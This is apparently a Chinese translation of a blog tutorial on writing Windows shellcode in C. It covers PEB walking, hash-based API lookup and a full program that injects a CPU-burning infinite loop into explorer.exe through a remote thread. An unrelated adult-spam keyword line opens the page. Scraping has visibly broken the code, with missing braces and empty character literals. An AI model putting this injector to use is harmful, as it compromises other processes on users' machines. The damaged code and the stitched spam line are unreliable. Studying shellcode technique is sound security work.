自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

使用C編譯器編寫shellcode

安全 黑客攻防
有時候程序員們需要寫一段獨立于位置操作的代碼,可當(dāng)作一段數(shù)據(jù)寫到其他進程或者網(wǎng)絡(luò)中去。該類型代碼在它誕生之初就被稱為shellcode,在軟件利用中黑客們以此獲取到shell權(quán)限。方法就是通過這樣或那樣的惡意手法使得這段代碼得以執(zhí)行,完成它的使命。

背景

有時候程序員們需要寫一段獨立于位置操作的代碼,可當(dāng)作一段數(shù)據(jù)寫到其他進程或者網(wǎng)絡(luò)中去。該類型代碼在它誕生之初就被稱為shellcode,在軟件利用中黑客們以此獲取到shell權(quán)限。方法就是通過這樣或那樣的惡意手法使得這段代碼得以執(zhí)行,完成它的使命。當(dāng)然了,該代碼僅能靠它自己,作者無法使用現(xiàn)代軟件開發(fā)的實踐來推進shellcode的編寫。

匯編常用于編寫shellcode,特別是對代碼大小挑剔的時候,匯編就是不錯的選擇。對我個人而言,多數(shù)項目都需要一段類似可以注入到其他進程的代碼。這時候我就不是特別在意代碼大小了,反而是開發(fā)效率以及調(diào)試能力顯得尤為重要。一開始,我用NASM編寫?yīng)毩⒌膮R編程序,把獲得的輸出文件轉(zhuǎn)換為C數(shù)組,然后整合到我的程序中。這正是你在milw0rm這樣的網(wǎng)站上所看到的,大多數(shù)exploit payload的獲取方式。最終我厭倦了這樣的方式,雖然很懷念NASM完備的功能,我還是開始使用內(nèi)聯(lián)匯編來解決問題。隨著經(jīng)驗的積累,我發(fā)現(xiàn)了一個完全可用的純C開發(fā)shellcode的方法,僅需2條內(nèi)聯(lián)匯編指令。就開發(fā)速度和調(diào)試shellcode時的上下文而言,真的比單純使用匯編的方法有很大的改進。運用機器級的比如ollydbg這樣的調(diào)試器,我毫不含糊,但這相對于用Visual Studio調(diào)試器來調(diào)試C源碼,就是小菜一碟。

準(zhǔn)備工作

為了確保能生成可用作shellcode這樣特定格式的代碼,我們需要對Visual Studio做些特殊的配置。下面的各項配置,可能隨編譯器的變更而變更:

1、使用Release模式。近來編譯器的Debug模式可能產(chǎn)生逆序的函數(shù),并且會插入許多與位置相關(guān)的調(diào)用。

2、禁用優(yōu)化。編譯器會默認優(yōu)化那些沒有使用的函數(shù),而那可能正是我們所需要的。

3、禁用棧緩沖區(qū)安全檢查(/Gs)。在函數(shù)頭尾所調(diào)用的棧檢查函數(shù),存在于二進制文件的某個特定位置,導(dǎo)致輸出的函數(shù)不能重定位,這對shellcode是無意義的。

第一個shellcode

  1. #include 
  2. void shell_code() 
  3. for (;;); 
  4. void __declspec(naked) END_SHELLCODE(void) {} 
  5. int main(int argc, char *argv[]) 
  6. int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code; 
  7. // Show some info about our shellcode buffer printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode); 
  8. // Now we can test out the shellcode by calling it from C! shell_code(); 
  9. return 0; 

這里所示例的shellcode除了一個無限循環(huán),啥事也沒干。不過有一點是比較重要的————放在shell_code函數(shù)之后的END_SHELLCODE。有了這個,我們就能通過shell_code函數(shù)開頭和END_SHELLCODE函數(shù)開頭間的距離來確定shellcode的長度了。還有,C語言在這里所體現(xiàn)的好處就是我們能夠把程序本身當(dāng)作一段數(shù)據(jù)來訪問,所以如果我們需要把shellcode寫到另外一份文件中,僅需簡單的調(diào)用fwrite(shell_code, sizeofshellcode, 1, filehandle)。

Visual Studio環(huán)境中,通過調(diào)用shell_code函數(shù),借助IDE的調(diào)試技能,就可以很容易的調(diào)試shellcode了。

在上面所示的第一個小案例中,shellcode僅用了一個函數(shù),其實我們可以使用許多函數(shù)。只是所有的函數(shù)需要連續(xù)地存放在shell_code函數(shù)和END_SHELLCODE函數(shù)之間,這是因為當(dāng)在內(nèi)部函數(shù)間調(diào)用時,call指令總是相對的。call指令的意思是“從距這里X字節(jié)的地方調(diào)用一個函數(shù)”。所以如果我們把執(zhí)行call的代碼和被調(diào)用的代碼都拷貝到其他地方,同時又保證了它們間的相對距離,那么鏈接時就不會出岔子。

Shellcode中數(shù)據(jù)的使用

傳統(tǒng)C源碼中,如果要用一段諸如ASCII字符的數(shù)據(jù),可以直接內(nèi)嵌進去,無需擔(dān)心數(shù)據(jù)的存放,比如: WinExec(“evil.exe”)。這里的“evil.exe”字符串被存儲在C程序的靜態(tài)區(qū)域(很可能是二進制的.rdata節(jié)中),如果我們把這段代碼拷貝出來,試圖將其注入到其他進程中,就會因那段字符不存在于其他進程的特定位置而失敗。傳統(tǒng)匯編編寫的shellcode可以輕松的使用數(shù)據(jù),這通過使用call指令獲取到指向代碼本身的指針,而這段代碼可能就混雜著數(shù)據(jù)。下面是一個使用匯編實現(xiàn)的shellcode方式的WinExec調(diào)用:

  1. call end_of_string 
  2. db 'evil.exe',0 
  3. end_of_string: 
  4. call WinExec 

這里的第一個call指令跳過字符數(shù)據(jù)”evial.exe”,同時在棧頂存放了一個指向字符串的指針,稍后會被用作WinExec函數(shù)的參數(shù)。這種新穎的使用數(shù)據(jù)的方法有著很高的空間利用率,但是很可惜在C語言中沒有與此等價的直接調(diào)用。在用C寫shellcode時,我建議使用棧區(qū)來存放和使用字符串。為了使微軟編譯器在棧上動態(tài)的分配字符以便重定位,你需要如下處理:

  1. char mystring[] = {'e','v','i','l','.','e','x','e',0}; 
  2. winexec(mystring); 

你會發(fā)現(xiàn),我將字符串聲明為字符數(shù)組的形式。如果我這樣寫char mystring[] = “evil.exe”; 在老式的微軟編譯器中,它會通過一系列的mov指令來構(gòu)成字符串,而現(xiàn)在僅會簡單的將字符串從內(nèi)存中的固定位置拷貝到棧中,而如果需要重定位代碼,這就無效了。把兩種方法都試試,下載免費的IDA Pro版本看看它們的反匯編代碼。上面的賦值語句的反匯編應(yīng)該看起來如下所示:

  1. mov [ebp+mystring], 65h 
  2. mov [ebp+mystring+1], 76h 
  3. mov [ebp+mystring+2], 69h 
  4. mov [ebp+mystring+3], 6Ch 
  5. mov [ebp+mystring+4], 2Eh 
  6. mov [ebp+mystring+5], 65h 
  7. mov [ebp+mystring+6], 78h 
  8. mov [ebp+mystring+7], 65h 
  9. mov [ebp+mystring+8], 0 

處理數(shù)據(jù)時,字符串真的是很頭疼的一件事。其他比如結(jié)構(gòu)體、枚舉、typedef聲明、函數(shù)指針啊這些,都能如你預(yù)期的那樣正常工作,你可以利用C提供的全套功能。確保數(shù)據(jù)為局部變量,一切都OK了。

使用庫函數(shù)

我將這篇文章專注于Windows環(huán)境的shellcode。上面所提及的一些規(guī)則也適用于Unix系統(tǒng)。Windows環(huán)境下的shellcode會更復(fù)雜一點,因為我們沒有一致公開的方法進行系統(tǒng)調(diào)用,就像在Unix中僅需幾條匯編代碼就可以的那樣(對int 80h的調(diào)用)。我們需要利用DLL中提供的API函數(shù),來進行系統(tǒng)調(diào)用做些像讀寫文件、網(wǎng)絡(luò)通信這樣的事。這些DLL最終會進行必要的系統(tǒng)調(diào)用,而它的實現(xiàn)細節(jié)幾乎隨著每次Windows的發(fā)布而變化。像《The Shellcoder’s Handbook》這樣的標(biāo)榜性著作描繪了搜尋內(nèi)存中DLL和函數(shù)的方法。如果想將shellcode做到在不同Windows版本間的可移植性,有兩個函數(shù)是必須的:1、查找kernel32.dll的函數(shù);2、實現(xiàn)GetProcAddress()函數(shù)或者查找GetProcAddress()地址的函數(shù)。我所提供的實現(xiàn)是基于hash的而非字符串的比較,下面我將提供用于shellcode的hash實現(xiàn),并做個簡短的說明。

Hash函數(shù)

在shellcode中,使用hash進行函數(shù)的查詢是比較普遍的。較流行的ROR13 hash方法是最常用的,它的實現(xiàn)也用在了《The Shellcoder’s Handbook》中。它的基本思想是當(dāng)我們要查詢一個名為“MyFunction”的函數(shù)時,不是將字符串存放在內(nèi)存中,對每個函數(shù)名進行字符串的比對,而是生成一個32位的hash值,將每個函數(shù)名進行hash比對。這并不能減小運行時間,但是可以節(jié)省shellcode的空間,也具有一定的反逆向功效。下面我提供了ASCII和Unicode版本的ROR13 hash實現(xiàn):

  1. DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string) 
  2. DWORD hash = 0; 
  3. while (*unicode_string != 0) 
  4. DWORD val = (DWORD)*unicode_string++; 
  5. hash = (hash >> 13) | (hash << 19); // ROR 13 hash += val; 
  6. return hash; 
  7. DWORD __stdcall ror13_hash(const char *string
  8. DWORD hash = 0; 
  9. while (*string) { 
  10. DWORD val = (DWORD) *string++; 
  11. hash = (hash >> 13)|(hash << 19); // ROR 13 hash += val; 
  12. return hash; 

查找DLL

有3個鏈表可以用來描述內(nèi)存中加載的DLL:

InMemoryOrderModuleList、InInitializationOrderModuleList和InLoadOrderModuleList。它們都在PEB(進程環(huán)境塊)中。在你的shellcode中,用哪個都可以,我所用的是InMemoryOrderModuleList。需要如下的兩條內(nèi)聯(lián)匯編來訪問PEB:

  1. PPEB __declspec(naked) get_peb(void
  2. __asm { 
  3. mov eax, fs:[0x30] 
  4. ret 

現(xiàn)在我們已經(jīng)獲取了PEB,可以查詢內(nèi)存中的DLL了。唯一的一直存在于Windows進程內(nèi)存中的DLL是ntdll.dll,但kernel32.dll會更方便一點,并且在99.99%的Windows進程中(Win32子系統(tǒng))都可用。下面我提供的代碼實現(xiàn)會查詢module列表,利用unicode的ROR13 hash值查到kernel32.dll。

  1. HMODULE __stdcall find_kernel32(void) 
  2. return find_module_by_hash(0x8FECD63F); 
  3. HMODULE __stdcall find_module_by_hash(DWORD hash) 
  4. PPEB peb; 
  5. LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod; 
  6. peb = get_peb(); 
  7. module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink; 
  8. first_mod = module_ptr; 
  9. do { 
  10. if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash) 
  11. return (HMODULE)module_ptr->Reserved2[0]; 
  12. else 
  13. module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0]; 
  14. while (module_ptr && module_ptr != first_mod); // because the list wraps, 
  15. return INVALID_HANDLE_VALUE; 

這里所提供的find_module_by_hash函數(shù)可以利用dll名稱的hash值找到任意的加載在內(nèi)存中的DLL。如果要加載一個新的原本不再內(nèi)存中的DLL,就需要使用kernel32.dll中的LoadLibrary函數(shù)。要找到LoadLibrary函數(shù),我們就需要實現(xiàn)GetProcAddress函數(shù)。下面的代碼實現(xiàn)利用函數(shù)名的hash值在加載的dll中查找函數(shù):

  1. FARPROC __stdcall find_function(HMODULE module, DWORD hash) 
  2. IMAGE_DOS_HEADER *dos_header; 
  3. IMAGE_NT_HEADERS *nt_headers; 
  4. IMAGE_EXPORT_DIRECTORY *export_dir; 
  5. DWORD *names, *funcs; 
  6. WORD *nameords; 
  7. int i; 
  8. dos_header = (IMAGE_DOS_HEADER *)module; 
  9. nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew); 
  10. export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 
  11. names = (DWORD *)((char *)module + export_dir->AddressOfNames); 
  12. funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions); 
  13. nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals); 
  14. for (i = 0; i < export_dir->NumberOfNames; i++) 
  15. char *string = (char *)module + names[i]; 
  16. if (hash == ror13_hash(string)) 
  17. WORD nameord = nameords[i]; 
  18. DWORD funcrva = funcs[nameord]; 
  19. return (FARPROC)((char *)module + funcrva); 
  20. return NULL; 

現(xiàn)在我們可以這樣查找函數(shù):

  1. HMODULE kern32 = find_kernel32(); 
  2. FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E); // the hash of LoadLibraryA 

最終成品

現(xiàn)在我將以完整的C程序的方式來展示上面所提及的內(nèi)容。代碼執(zhí)行時,將生成名為shellcode.bin的文件,它就存儲著shellcode。該shellcode可以向explorer.exe注入一個線程,實現(xiàn)無限循環(huán),直至消耗完cpu。

  1. #include <stdio.h> 
  2. #include <Windows.h> 
  3. #include <winternl.h> 
  4. #include <wchar.h> 
  5. #include <tlhelp32.h> 
  6.   
  7. PPEB get_peb(void); 
  8. DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string); 
  9. DWORD __stdcall ror13_hash(const char *string); 
  10. HMODULE __stdcall find_module_by_hash(DWORD hash); 
  11. HMODULE __stdcall find_kernel32(void); 
  12. FARPROC __stdcall find_function(HMODULE module, DWORD hash); 
  13. HANDLE __stdcall find_process(HMODULE kern32, const char *procname); 
  14. VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size); 
  15. BOOL __stdcall strmatch(const char *a, const char *b); 
  16.   
  17. void __stdcall shell_code() 
  18.     HMODULE kern32; 
  19.     DWORD *dwptr; 
  20.     HANDLE hProcess; 
  21.     char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0}; 
  22.     char code[] = {0xEB, 0xFE}; 
  23.   
  24.     kern32 = find_kernel32(); 
  25.     hProcess = find_process(kern32, (char *)procname); 
  26.     inject_code(kern32, hProcess, code, sizeof code); 
  27.   
  28. HANDLE __stdcall find_process(HMODULE kern32, const char *procname) 
  29.     FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED); 
  30.     FARPROC process32first = find_function(kern32, 0x3249BAA7); 
  31.     FARPROC process32next = find_function(kern32, 0x4776654A); 
  32.     FARPROC openprocess = find_function(kern32, 0xEFE297C0); 
  33.     FARPROC createprocess = find_function(kern32, 0x16B3FE72); 
  34.     HANDLE hSnapshot; 
  35.     PROCESSENTRY32 pe32; 
  36.   
  37.     hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0); 
  38.     if (hSnapshot == INVALID_HANDLE_VALUE) 
  39.         return INVALID_HANDLE_VALUE; 
  40.   
  41.     pe32.dwSize = sizeof( PROCESSENTRY32 ); 
  42.   
  43.     if (!process32first(hSnapshot, &pe32)) 
  44.         return INVALID_HANDLE_VALUE; 
  45.   
  46.     do 
  47.     { 
  48.         if (strmatch(pe32.szExeFile, procname)) 
  49.         { 
  50.             return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); 
  51.         } 
  52.     } while (process32next(hSnapshot, &pe32)); 
  53.   
  54.     return INVALID_HANDLE_VALUE; 
  55.   
  56. BOOL __stdcall strmatch(const char *a, const char *b) 
  57.     while (*a != '' && *b != ''
  58.     { 
  59.         char aA_delta = 'a' - 'A'
  60.         char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a; 
  61.         char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b; 
  62.   
  63.         if (a_conv != b_conv) 
  64.             return FALSE; 
  65.         a++; 
  66.         b++; 
  67.     } 
  68.   
  69.     if (*b == '' && *a == ''
  70.         return TRUE; 
  71.     else 
  72.         return FALSE; 
  73.   
  74. VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size) 
  75.     FARPROC virtualallocex = find_function(kern32, 0x6E1A959C); 
  76.     FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1); 
  77.     FARPROC createremotethread = find_function(kern32, 0x72BD9CDD); 
  78.     LPVOID remote_buffer; 
  79.     DWORD dwNumBytesWritten; 
  80.   
  81.     remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
  82.     if (remote_buffer == NULL) 
  83.         return
  84.   
  85.     if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten)) 
  86.         return
  87.   
  88.     createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL); 
  89.   
  90. HMODULE __stdcall find_kernel32(void
  91.     return find_module_by_hash(0x8FECD63F); 
  92.   
  93. HMODULE __stdcall find_module_by_hash(DWORD hash) 
  94.     PPEB peb; 
  95.     LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod; 
  96.   
  97.     peb = get_peb(); 
  98.   
  99.     module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink; 
  100.     first_mod = module_ptr; 
  101.   
  102.     do { 
  103.         if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash) 
  104.             return (HMODULE)module_ptr->Reserved2[0]; 
  105.         else 
  106.             module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0]; 
  107.     } while (module_ptr && module_ptr != first_mod);   // because the list wraps, 
  108.   
  109.     return INVALID_HANDLE_VALUE; 
  110.   
  111. PPEB __declspec(naked) get_peb(void
  112.     __asm { 
  113.         mov eax, fs:[0x30] 
  114.         ret 
  115.     } 
  116.   
  117. DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string) 
  118.     DWORD hash = 0; 
  119.   
  120.     while (*unicode_string != 0) 
  121.     { 
  122.         DWORD val = (DWORD)*unicode_string++; 
  123.         hash = (hash >> 13) | (hash << 19); // ROR 13 
  124.         hash += val; 
  125.     } 
  126.     return hash; 
  127.   
  128. DWORD __stdcall ror13_hash(const char *string) 
  129.     DWORD hash = 0; 
  130.   
  131.     while (*string) { 
  132.         DWORD val = (DWORD) *string++; 
  133.         hash = (hash >> 13)|(hash << 19);  // ROR 13 
  134.         hash += val; 
  135.     } 
  136.     return hash; 
  137.   
  138. FARPROC __stdcall find_function(HMODULE module, DWORD hash) 
  139.     IMAGE_DOS_HEADER *dos_header; 
  140.     IMAGE_NT_HEADERS *nt_headers; 
  141.     IMAGE_EXPORT_DIRECTORY *export_dir; 
  142.     DWORD *names, *funcs; 
  143.     WORD *nameords; 
  144.     int i; 
  145.   
  146.     dos_header = (IMAGE_DOS_HEADER *)module; 
  147.     nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew); 
  148.     export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 
  149.     names = (DWORD *)((char *)module + export_dir->AddressOfNames); 
  150.     funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions); 
  151.     nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals); 
  152.   
  153.     for (i = 0; i < export_dir->NumberOfNames; i++) 
  154.     { 
  155.         char *string = (char *)module + names[i]; 
  156.         if (hash == ror13_hash(string)) 
  157.         { 
  158.             WORD nameord = nameords[i]; 
  159.             DWORD funcrva = funcs[nameord]; 
  160.             return (FARPROC)((char *)module + funcrva); 
  161.         } 
  162.     } 
  163.   
  164.     return NULL; 
  165.   
  166. void __declspec(naked) END_SHELLCODE(void) {} 
  167.   
  168. int main(int argc, char *argv[]) 
  169.     FILE *output_file = fopen("shellcode.bin""w"); 
  170.     fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file); 
  171.     fclose(output_file); 
  172.   
  173.     return 0; 

來源聲明:本文來自Nick Harbour的博文《Writing Shellcode with a C Compiler》,由IDF實驗室徐文博翻譯。

責(zé)任編輯:藍雨淚 來源: IDF實驗室
相關(guān)推薦

2009-08-10 17:12:54

C#編譯器

2010-01-21 09:11:38

C++編譯器

2010-01-18 10:34:21

C++編譯器

2010-01-08 16:00:46

C++編譯器

2010-01-18 10:28:15

C++編譯器

2009-08-14 11:34:26

Mono C#編譯器

2009-08-06 14:59:36

C#編譯器

2010-10-20 13:43:37

C++編譯器

2021-12-30 11:26:31

語言編譯器腳本

2010-01-12 16:42:59

C++編譯器

2010-01-14 15:29:44

C++編譯器

2010-02-03 13:14:03

C++編譯器命令

2009-09-01 10:35:19

C# 3.0編譯器

2009-08-14 16:37:02

C# NGWS run

2010-06-04 17:37:45

Linux編程工具

2010-01-21 09:26:53

CC++編譯器

2010-01-27 16:39:48

C++編譯器

2009-01-12 10:16:11

Visual C++編譯器選項設(shè)置

2010-01-14 14:55:14

C++編譯器

2021-10-09 12:08:23

Facebook編譯器機器學(xué)習(xí)
點贊
收藏

51CTO技術(shù)棧公眾號